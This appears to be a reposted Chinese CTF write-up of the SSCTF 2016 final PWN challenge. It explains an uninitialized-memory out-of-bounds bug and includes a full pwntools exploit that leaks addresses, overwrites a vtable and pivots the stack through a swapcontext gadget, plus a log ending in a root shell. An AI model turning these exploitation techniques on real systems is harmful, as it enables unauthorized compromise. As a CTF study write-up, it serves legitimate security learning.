SSCTF Final PWN

转载

weixin_30273763 于 2016-06-14 19:07:00 发布 43 收藏
文章标签： shell
原文链接：http://www.cnblogs.com/wangaohui/p/5585215.html

比赛过去了两个月了，抽出时间，将当时的PWN给总结一下。

和线上塞的题的背景一样，只不过洞不一样了。Checksec一样，发现各种防护措施都开了。

```
gdb-peda$ checksec
CANARY    : ENABLED
FORTIFY   : ENABLED
NX        : ENABLED
PIE       : ENABLED
RELRO     : FULL
```

程序模拟了简单的堆的管理，以及cookie的保护机制。漏洞是一个内存未初始化漏洞，就是申请内存的时候，上一次的内存还未清0，这个时候通过构造特定输入可以使用内存中仍有的内容。这样的话，容易造成数组的越界读写。就是通过数组的越界读写将程序的基址，libc的基址，堆的基址，cookie都给泄露了出来。通过构造任意地址写，将虚表指针覆盖为gadget地址，顺利拿到shell。参考了炜师傅的writeup，http://ww9210.cn/2016/04/15/ssctf-2016-final-pwn-writeup/

顺便说一下，在Libc里setcontext，swapcontext中有很好用gadget用来stack pivot。

```
000409AF mov     ecx, [eax+4Ch]
000409B2 mov     esp, [eax+30h]
000409B5 push    ecx
000409B6 mov     edi, [eax+24h]
000409B9 mov     esi, [eax+28h]
000409BC mov     ebp, [eax+2Ch]
000409BF mov     ebx, [eax+34h]
000409C2 mov     edx, [eax+38h]
000409C5 mov     ecx, [eax+3Ch]
000409C8 mov     eax, [eax+40h]
000409CB retn
```

此外，直接用pwntools的话，好像并不能用来对full relro使用dynelf进行信息泄露，github上最新的我没有尝试，如果可以的话也请大家可以告诉我；有人对pwntools进行了改进，成为了binjitsu，可以用来对full relro的程序进行dynelf，不过还是依赖了libcdatabase。http://uaf.io/exploitation/misc/2016/04/02/Finding-Functions.html 这一篇文章里介绍了进行信息泄露的两种方法，还没仔细看。

附上shell:

```
root@kali:~/Desktop/ssctf/final# python f1.py
[+] Opening connection to 127.0.0.1 on port 10001: Done
big_chunk addr is: 0xb7bb4000
random is: 0x7742a941
heap addr is: 0x80008000
exe base is: 0x80000000
[*] '/root/Desktop/ssctf/final/final1'
    Arch:     i386-32-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
    FORTIFY:  Enabled
[+] Loading from '/root/Desktop/ssctf/final/final1': 0xb7fff930
[+] Resolving 'libc.so': 0xb7fff930
[!] No ELF provided.  Leaking is much faster if you have a copy of the ELF being leaked.
libc_base is: 0xb7cb7000
[+] Downloading libc: 0xb7e812d0
[*] Using cached data from '/tmp/pwn-libc.so.cafa8de523249f48aebec877e9f45f904e4d62a4'
[*] '/tmp/pwn-libc.so.cafa8de523249f48aebec877e9f45f904e4d62a4'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] Trying lookup based on Build ID: cafa8de523249f48aebec877e9f45f904e4d62a4
[+] Resolving 'swapcontext' in 'libc.so': 0xb7e812d0
[*] Trying lookup based on Build ID: cafa8de523249f48aebec877e9f45f904e4d62a4
swapcontext is: 0xb7cf7940
system is: 0xb7cf53e0
[*] Switching to interactive mode
$ id
uid=0(root) gid=0(root) groups=0(root)
```

附上poc：

```python
from pwn import *
import time
#by wangaohui
#context.log_level = 'debug'
exe = 'final1'
s= remote('127.0.0.1',10001,timeout=60)
def getpid():
    time.sleep(0.1)
    pid= pwnlib.util.proc.pidof(exe)
    print pid
    raw_input('go!')
#getpid()
#alloc 12+3 items(align 8 byte,so 12+3+1)
s.recvuntil('_CMD_$')
s.sendline('sort')
s.recvuntil('How many numbers do you want to sort:')
s.sendline('12')
for i in range(12):
    s.recvuntil('number:')
    s.sendline('0')
s.recvuntil('Choose: ')
s.sendline('7')

#sort 3 items(3+3+2)
s.recvuntil('_CMD_$')
s.sendline('sort')
s.recvuntil('How many numbers do you want to sort:')
s.sendline('3')
s.recvuntil('number:')
s.sendline('a')
s.recvuntil('Invalid number, stopped input!')
s.recvuntil('Choose: ')
s.sendline('3')    #sort
s.recvuntil('Choose: ')
s.sendline('')
s.recvuntil('Choose: ')
s.sendline('1')    #query
```

```
s.recvuntil('Query index: ')
s.sendline('3')
s.recvuntil('Query result: ')
data = s.recvuntil(',')[:-1]
#print data
if data.startswith('-'):
    big_chunk = (int(data[1:])^0xffffffff) + 1 - 8
    #print hex(big_chunk)
else:
    big_chunk = int(data) -8
    #print hex(big_chunk)
print 'big_chunk addr is: ' + hex(big_chunk)
s.recvuntil('Choose: ')
s.sendline('7')

#sort 3 items(3+3+2)
s.recvuntil('_CMD_$')
s.sendline('sort')
s.recvuntil('How many numbers do you want to sort:')
s.sendline('3')
for i in range(3):
        s.recvuntil('number:')
        s.sendline('0')
s.recvuntil('Choose: ')
s.sendline('3') #sort
s.recvuntil('Choose: ')
s.sendline('')
s.recvuntil('Choose: ')
s.sendline('7')

#reload
s.recvuntil('_CMD_$')
s.sendline('reload')
s.recvuntil('Reload history ID: ')
s.sendline('1')
s.recvuntil('Choose: ')
s.sendline('1')
s.recvuntil('Query index: ')
s.sendline('6')
s.recvuntil('Query result: ')
data = s.recvuntil(',')[:-1]
#print data
if data.startswith('-'):
    random = ((int(data[1:])^0xffffffff) + 1)^3
    #print hex(random)
else:
    random = int(data)^3
    #print hex(random)
print 'random is: ' + hex(random)
s.recvuntil('Choose: ')
s.sendline('1')
s.recvuntil('Query index: ')
s.sendline('7')
s.recvuntil('Query result: ')
data = s.recvuntil(',')[:-1]
#print data
if data.startswith('-'):
    pvt = ((int(data[1:])^0xffffffff) + 1)
        heap = ((int(data[1:])^0xffffffff) + 1) - 0xa8
        #print hex(heap)
```

```
        #print hex(heap)
else:
    pvt = int(data)
        heap = int(data) - 0xa8
        #print hex(heap)
print 'heap addr is: ' + hex(heap)
s.recvuntil('Choose: ')
s.sendline('2')
s.recvuntil('Update index: ')
s.sendline('5')
s.recvuntil('Update number: ')
s.sendline(str(0x7fffffff))
s.recvuntil('Choose: ')
s.sendline('2')
s.recvuntil('Update index: ')
s.sendline('6')
s.recvuntil('Update number: ')
s.sendline(str(random^0x7fffffff))
s.recvuntil('Choose: ')
s.sendline('7')

s.recvuntil('_CMD_$')
s.sendline('sort')
s.recvuntil('How many numbers do you want to sort:')
s.sendline('3')
for i in range(3):
        s.recvuntil('number:')
        s.sendline('0')
s.recvuntil('Choose: ')
s.sendline('3')    #sort
s.recvuntil('Choose: ')
s.sendline('')
s.recvuntil('Choose: ')
s.sendline('7')

s.recvuntil('_CMD_$')
s.sendline('sort')
s.recvuntil('How many numbers do you want to sort:')
s.sendline('3')
s.recvuntil('number:')
s.sendline('a')
s.recvuntil('Invalid number, stopped input!')
s.recvuntil('Choose: ')
s.sendline('1')
start = (2+16+8+3)*4+big_chunk    #items addr
if pvt>start:
    index = (pvt-start)/4
else:
    index = (pvt+0x100000000-start)/4
s.recvuntil('Query index: ')
s.sendline(str(index))
s.recvuntil('Query result: ')
data = s.recvuntil(',')[:-1]
#print data
if data.startswith('-'):
    vt = ((int(data[1:])^0xffffffff) + 1)
else:
    vt = int(data)
if vt>start:
    index = (vt-start)/4
```

```
else:
    index = (vt+0x100000000-start)/4
s.recvuntil('Choose: ')
s.sendline('1')
s.recvuntil('Query index: ')
s.sendline(str(index))
s.recvuntil('Query result: ')
data = s.recvuntil(',')[:-1]
if data.startswith('-'):
    base = ((int(data[1:])^0xffffffff) + 1 - 0x1D50)
else:
    base = int(data - 0x1d50)
print 'exe base is: ' + hex(base)
def leak(addr):
    if addr>start:
        index = (addr-start)/4
    else:
        index = (addr+0x100000000-start)/4
    s.recvuntil('Choose: ')
    s.sendline('1')
    s.recvuntil('Query index: ')
    s.sendline(str(index))
    s.recvuntil('Query result: ')
    data = s.recvuntil(',')[:-1]
    if data.startswith('-'):
        r = ((int(data[1:])^0xffffffff) + 1)
    else:
        r = int(data)
    return p32(r)
d = DynELF(leak,pointer=base,elf=ELF('./final1'))
libc_base = d.lookup(None,'libc')
print 'libc_base is: ' + hex(libc_base)
#method 1
#e=d.libc
#str_binsh=(list(e.search('/bin/sh'))[0])
system= d.lookup('system','libc')
swapcontext = d.lookup('swapcontext','libc')
print 'swapcontext is: ' + hex(swapcontext)
pivot = swapcontext+(0x7f-0x10)
print 'system is: ' + hex(system)

def update(addr,value):
    if addr>start:
            index = (addr-start)/4
    else:
            index = (addr+0x100000000-start)/4
        s.recvuntil('Choose: ')
        s.sendline('2')
        s.recvuntil('Update index: ')
        s.sendline(str(index))
        s.recvuntil('Update number: ')
    if value>0x7fffffff:
        s.sendline(str(value-0x100000000))
    else:
        s.sendline(str(value))

redir = big_chunk + (2+16+16)*4 + 0x200
eax = big_chunk + (2+16+16)*4 + 0x300
esp = big_chunk + (2+16+16)*4 + 0x400
#method 2
```

```
216 #method 2
217 binsh = 0x6e69622f #/bin
218 binsh1 = 0x68732f #/sh\x00
219 str_binsh = big_chunk + (2+16+16)*4 + 0x500
220 update(str_binsh,binsh)
221 update(str_binsh + 4,binsh1)
222 #method 2 end
223
224 ecx = eax + 0x4c
225 pesp = eax + 0x30
226
227
228 update(redir,pivot)
229 update(pesp,esp)
230 update(esp+4,str_binsh)
231 update(ecx,system)
232 update(start-4,eax)
233 update(eax,redir)
234
235 s.recvuntil('Choose: ')
236 s.sendline('3')
237 s.interactive()
238
239 s.close()
```

View Code

转载于:https://www.cnblogs.com/wangaohui/p/5585215.html